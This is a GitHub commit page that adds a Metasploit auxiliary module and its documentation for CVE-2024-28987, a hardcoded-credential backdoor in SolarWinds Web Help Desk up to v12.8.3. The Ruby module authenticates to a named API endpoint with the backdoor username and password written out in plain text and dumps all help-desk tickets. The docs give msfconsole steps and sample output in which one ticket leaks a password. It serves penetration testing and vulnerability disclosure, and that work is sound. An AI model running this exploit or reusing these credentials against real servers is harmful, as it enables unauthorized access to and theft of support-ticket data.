Skip to content

Commit ea45d83

Browse files
authored
Land rapid7#19499, Adds SolarWinds Help Desk Backdoor module
This adds a new module which exploits a backdoor in SolarWinds Web Help Desk (CVE-2024-28987) <= v12.8.3 which enables attackers to retrieve all tickets currently logged in the application.
2 parents 2e8892c + f24c014 commit ea45d83

File tree

2 files changed

+173
-0
lines changed

2 files changed

+173
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Vulnerable Application
2+
3+
This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 (CVE-2024-28987) to retrieve all tickets from the system.
4+
5+
## Testing
6+
7+
The software can be obtained from
8+
[the vendor](https://downloads.solarwinds.com/solarwinds/Release/WebHelpDesk/12.8.1/WebHelpDesk-12.8.1-x64_eval.exe).
9+
10+
Installation instructions are available [here]
11+
(https://documentation.solarwinds.com/en/success_center/whd/content/whd_installation_guide.htm).
12+
13+
**Successfully tested on**
14+
15+
- SolarWinds Web Help Desk v12.8.1 on Windows 22H2
16+
17+
## Verification Steps
18+
19+
1. Install and run the application
20+
2. Start `msfconsole` and run the following commands:
21+
22+
```
23+
msf6 > use auxiliary/gather/solarwinds_webhelpdesk_backdoor
24+
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > set RHOSTS <IP>
25+
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
26+
```
27+
28+
This should return all the tickets from the Web Help Desk platform.
29+
30+
## Options
31+
32+
### TICKET_COUNT
33+
The number of tickets to dump to the terminal.
34+
35+
## Scenarios
36+
37+
Running the exploit against Web Help Desk v12.8.1 on Windows 22H2 should result in an output similar to the following:
38+
39+
```
40+
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
41+
[*] Running module against 192.168.217.145
42+
43+
[*] Running automatic check ("set AutoCheck false" to disable)
44+
[+] The target appears to be vulnerable.
45+
[*] Authenticating with the backdoor account "helpdeskIntegrationUser"...
46+
[+] Successfully authenticated and tickets retrieved. Displaying the first 2 tickets retrieved:
47+
[+] [
48+
{
49+
"id": 2,
50+
"type": "Ticket",
51+
"lastUpdated": "2024-09-25T08:54:13Z",
52+
"shortSubject": "Password reset",
53+
"shortDetail": "Hi,\r\n\r\nhere is your super secure password: foo\r\n\r\nYour IT Support",
54+
"displayClient": "No Client",
55+
"updateFlagType": 2,
56+
"prettyLastUpdated": "13 hours ago",
57+
"latestNote": null
58+
},
59+
{
60+
"id": 1,
61+
"type": "Ticket",
62+
"lastUpdated": "2024-09-25T05:15:17Z",
63+
"shortSubject": "Welcome to Web Help Desk",
64+
"shortDetail": "Congratulations! You have successfully installed Web Help Desk. Further configuration options are...",
65+
"displayClient": "Demo Client",
66+
"updateFlagType": 2,
67+
"prettyLastUpdated": "17 hours ago",
68+
"latestNote": null
69+
}
70+
]
71+
[+] Saved 2 tickets to /home/asdf/.msf4/loot/20240926004744_default_unknown_solarwinds_webhe_825328.txt
72+
[*] Auxiliary module execution completed
73+
```
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
include Msf::Auxiliary::Report
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
CheckCode = Exploit::CheckCode
6+
7+
def initialize(info = {})
8+
super(
9+
update_info(
10+
info,
11+
'Name' => 'SolarWinds Web Help Desk Backdoor (CVE-2024-28987)',
12+
'Description' => %q{
13+
This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 to retrieve all tickets from the system.
14+
},
15+
'Author' => [
16+
'Michael Heinzl', # MSF Module
17+
'Zach Hanley' # Discovery & PoC
18+
],
19+
'License' => MSF_LICENSE,
20+
'References' => [
21+
['CVE', '2024-28987'],
22+
['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987'],
23+
['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2'],
24+
['URL', 'https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive/'],
25+
],
26+
'DisclosureDate' => '2024-08-22',
27+
'DefaultOptions' => {
28+
'RPORT' => 8443,
29+
'SSL' => 'True'
30+
},
31+
'Notes' => {
32+
'Stability' => [CRASH_SAFE],
33+
'Reliability' => [],
34+
'SideEffects' => [IOC_IN_LOGS]
35+
}
36+
)
37+
)
38+
39+
register_options(
40+
[
41+
OptString.new('TARGETURI', [true, 'The base path for Web Help Desk', '/']),
42+
OptInt.new('TICKET_COUNT', [false, 'The number of tickets to dump', 10])
43+
]
44+
)
45+
end
46+
47+
def check
48+
@auth = auth
49+
return CheckCode::Unknown('Target is unreachable') unless @auth
50+
51+
if @auth.code == 401
52+
return CheckCode::Safe
53+
elsif @auth.code == 200
54+
return CheckCode::Appears
55+
end
56+
57+
CheckCode::Unknown
58+
end
59+
60+
def auth
61+
send_request_cgi(
62+
'method' => 'GET',
63+
'uri' => normalize_uri(target_uri.path, 'helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets'),
64+
'headers' => {
65+
'Authorization' => 'Basic ' + Rex::Text.encode_base64('helpdeskIntegrationUser:dev-C4F8025E7')
66+
}
67+
)
68+
end
69+
70+
def run
71+
print_status('Authenticating with the backdoor account "helpdeskIntegrationUser"...')
72+
@auth ||= auth
73+
fail_with(Failure::Unknown, 'Target is unreachable') unless @auth
74+
75+
jbody = @auth.get_json_document
76+
fail_with(Failure::UnexpectedReply, 'Unexpected Reply: ' + @auth.to_s) unless jbody.any? { |item| item.is_a?(Hash) && item.key?('shortSubject') }
77+
78+
report_service(
79+
host: rhost,
80+
port: rport,
81+
proto: 'tcp',
82+
name: 'SolarWinds Web Help Desk'
83+
)
84+
85+
print_good("Successfully authenticated and tickets retrieved. Displaying the first #{datastore['TICKET_COUNT']} tickets retrieved:")
86+
tickets_to_display = jbody.first(datastore['TICKET_COUNT'])
87+
print_good(JSON.pretty_generate(tickets_to_display))
88+
89+
file = store_loot('solarwinds_webhelpdesk.json', 'text/json', datastore['USER'], jbody)
90+
print_good("Saved #{jbody.length} tickets to #{file}")
91+
92+
report_vuln(
93+
host: rhost,
94+
port: rport,
95+
name: name,
96+
refs: references,
97+
info: 'The backdoor helpdeskIntegrationUser:dev-C4F8025E7 works.'
98+
)
99+
end
100+
end

0 commit comments

Comments
 (0)